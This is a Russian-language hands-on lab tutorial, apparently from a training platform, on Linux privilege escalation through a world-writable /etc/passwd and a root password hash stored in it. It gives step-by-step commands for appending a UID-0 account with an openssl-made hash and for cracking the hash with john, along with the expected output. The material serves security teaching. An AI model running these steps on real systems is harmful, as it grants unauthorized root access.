Введение
Файлы /etc/passwd и /etc/shadow являются важными для аутентификации пользователей в системах Linux. Если системные администраторы неправильно настроят содержимое или права доступа к этим файлам, это может привести к уязвимостям, позволяющим повысить привилегии. В этом лабораторном занятии (Lab) мы рассмотрим методы повышения привилегий с использованием файла /etc/passwd.
Понимание файла /etc/passwd
На этом шаге мы рассмотрим структуру и смысл файла /etc/passwd.
В системах Linux информация о паролях пользователей хранится в двух файлах: /etc/passwd и /etc/shadow. Файл /etc/passwd содержит информацию о пользователях, при этом каждая строка представляет отдельную учетную запись пользователя. Каждая строка разделена на семь полей, разделенных двоеточием:
- Имя пользователя (Username)
- Пароль (если установлено значение
x, пароль хранится в файле/etc/shadow) - Идентификатор пользователя (User ID, UID; для пользователя root значение равно 0)
- Идентификатор группы (Group ID, GID)
- Информация о пользователе (Полное имя, номер комнаты, рабочий телефон, домашний телефон и прочее)
- Домашний каталог (Home directory)
- Стандартная оболочка (Default shell)
Теперь откройте терминал и перейдите в каталог /home/labex/project, чтобы перейти к следующему шагу.
cd /home/labex/project
Получите информацию о пользователе labex из файла /etc/passwd и сохраните ее в файл с именем labex_passwd.txt в каталоге /home/labex/project.
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
Проверьте содержимое файла labex_passwd.txt.
cat labex_passwd.txt
Ожидаемый вывод:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
Вот что представляет каждое поле:
- Имя пользователя: test - user
- Пароль: хранится в файле
/etc/shadow(указано значениемx) - UID: 5000
- GID: 5000
- Информация о пользователе: в данном случае пусто
- Домашний каталог:
/home/labex - Стандартная оболочка:
/usr/bin/zsh
Во время процесса аутентификации в Linux происходят следующие шаги:
- Введенное имя пользователя сравнивается с первым полем в каждой строке файла
/etc/passwd. - Если совпадение найдено, сравнивается пароль во втором поле.
- При успешной аутентификации права доступа пользователя определяются UID (третье поле) и GID (четвертое поле).
- Важно отметить, что UID, равный
0, представляет пользователя root, предоставляя полные административные привилегии, независимо от имени пользователя.
Как вы можете видеть, файл /etc/passwd играет важную роль в процессе аутентификации в Linux. Если злоумышленник может изменить этот файл, он может получить несанкционированный доступ и повысить свои привилегии.
Повышение привилегий с помощью /etc/passwd (права записи)
На этом шаге мы научимся повышать привилегии, используя разрешение на запись в файл /etc/passwd.
Сначала настроим лабораторную среду. Откройте терминал и перейдите в каталог
/home/labex/project:cd /home/labex/projectВыполните следующую команду для настройки лабораторной среды:
./env_setup1.shЭта команда выполнит скрипт, который настроит лабораторную среду. Вы должны увидеть вывод, указывающий, что среда готова.
После настройки вы войдете в систему как пользователь
user001, имитируя первоначальный доступ к оболочке, полученный во время пентест (проверки на проникновение).Перейдите в домашний каталог пользователя
user001:cd ~Используйте команду
whoami, чтобы проверить текущего пользователя:whoamiОжидаемый вывод:
user001Используйте команду
id, чтобы просмотреть идентификаторы пользователя и группы:idОжидаемый вывод:
uid=1001(user001) gid=1001(user001) groups=1001(user001)Как вы можете видеть, вы являетесь обычным пользователем без специальных привилегий.
Затем проверьте права доступа к файлам
/etc/passwdи/etc/shadow:ls -l /etc/passwd /etc/shadowОжидаемый вывод:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadowОбратите внимание, что файл
/etc/passwdимеет права навыполнениеизаписьдлявсех пользователей(--wx--xrwx), что являетсянеправильной настройкойсо стороны системного администратора.
Наша цель - создать новую запись пользователя в файле /etc/passwd с произвольным именем пользователя, паролем и UID, равным 0 (root). Это позволит нам войти в систему как пользователь root.
Сначала изучим формат записи пользователя root в файле
/etc/passwd, скопировав ее в новый файл с именемnew_user_entry.txt:cat /etc/passwd | grep root > new_user_entry.txtОжидаемый вывод при использовании команды
catдля просмотра содержимого файлаnew_user_entry.txt:root:x:0:0:root:/root:/bin/bashЧтобы создать свою запись, измените имя пользователя с
rootна любое желаемое, например,new - userв файлеnew_user_entry.txt:new - user:x:0:0:root:/root:/bin/bashЗамените
xво втором поле на зашифрованный хеш пароля. Мы можем использовать инструментopensslдля генерации хеша для пароля (например,pass123):openssl passwd -1 -salt ignite pass123Ожидаемый вывод:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Заменим хеш во втором поле в файле
new_user_entry.txt:new - user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashТеперь добавим эту строку в файл
/etc/passwd:echo "$(cat new_user_entry.txt)" >> /etc/passwdПримечание: Мы можем добавить новую запись в файл
/etc/passwd, так как он имеет права на запись длявсех пользователей. В реальной жизни этот файл не должен иметь прав на запись для обычных пользователей.Проверим новую запись, выполнив поиск
new - userв файле/etc/passwd:cat /etc/passwd | grep new - userОжидаемый вывод:
new - user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashНаконец, переключимся на пользователя
new - userс паролемpass123:su new - userВведите пароль
pass123при запросе. Теперь у вас должны быть привилегии root, что подтверждается изменением приглашения командной строки:user001@660ecfa4d7612c798ef141ab:~$ su new - user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Повышение привилегий с помощью /etc/passwd (хэш пароля)
На этом шаге мы научимся повышать привилегии, когда хеш пароля пользователя root хранится в файле /etc/passwd, а не в файле /etc/shadow.
Сначала настроим лабораторную среду. Откройте терминал и перейдите в каталог
/home/labex/project:Если вы все еще находитесь под пользователем
new - user, вы можете использовать командуexit, чтобы выйти из текущей оболочки до тех пор, пока не вернетесь к оболочкеlabex, а затем перейти в каталог/home/labex/project:cd /home/labex/projectВыполните следующую команду для настройки лабораторной среды:
./env_setup2.shЭта команда выполнит скрипт, который настроит лабораторную среду. Вы должны увидеть вывод, указывающий, что среда готова.
После настройки вы войдете в систему как пользователь
user001, имитируя первоначальный доступ к оболочке, полученный во время пентест (проверки на проникновение).Перейдите в домашний каталог пользователя
user001:cd ~Проверьте права доступа к файлам
/etc/passwdи/etc/shadow:ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadowНа этот раз права доступа к файлам настроены
корректно, и у вас есть только доступ на чтение к файлу/etc/passwd.Просмотрите содержимое файла
/etc/passwd, чтобы найти хеш пароля пользователя root:cat /etc/passwd | grep ^root > ~/hash.txtПроверьте содержимое файла
hash.txt, выполнив следующую команду:cat ~/hash.txtОжидаемый вывод:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bashОбратите внимание, что хеш пароля пользователя root хранится во втором поле файла
/etc/passwd. Это обычно является результатом предыдущего взлома системы илинеправильной настройкисо стороны системного администратора.Теперь запустите
johnдля взлома хеша:john ~/hash.txt > ~/cracked.txtjohn- это популярный инструмент для взлома паролей, который использует словарные атаки для взлома хешей паролей. Вывод будет указывать, был ли пароль успешно взломан.Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl - C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedПроверьте содержимое файла
cracked.txt, чтобы просмотреть взломанный пароль:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)Как вы можете видеть,
johnуспешно взломал пароль, который равенhello.Используйте команду
su, чтобы переключиться на пользователя root, введя взломанный пароль при запросе:su rootВведите пароль
helloпри запросе. Теперь у вас должны быть привилегии root, что подтверждается изменением приглашения командной строки.user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
Резюме
В этом лабораторном занятии мы изучили процесс аутентификации пользователей в Linux, значение файла /etc/passwd и способы его эксплойта для повышения привилегий. Мы рассмотрели два сценария: (1) когда файл /etc/passwd имеет права на запись, что позволяет создать новую запись пользователя с привилегиями root, и (2) когда хеш пароля пользователя root хранится в файле /etc/passwd, что позволяет взломать пароль с использованием инструмента john. В результате практических занятий мы получили более глубокое понимание того, как использовать неправильные настройки файла /etc/passwd для повышения привилегий в системе Linux.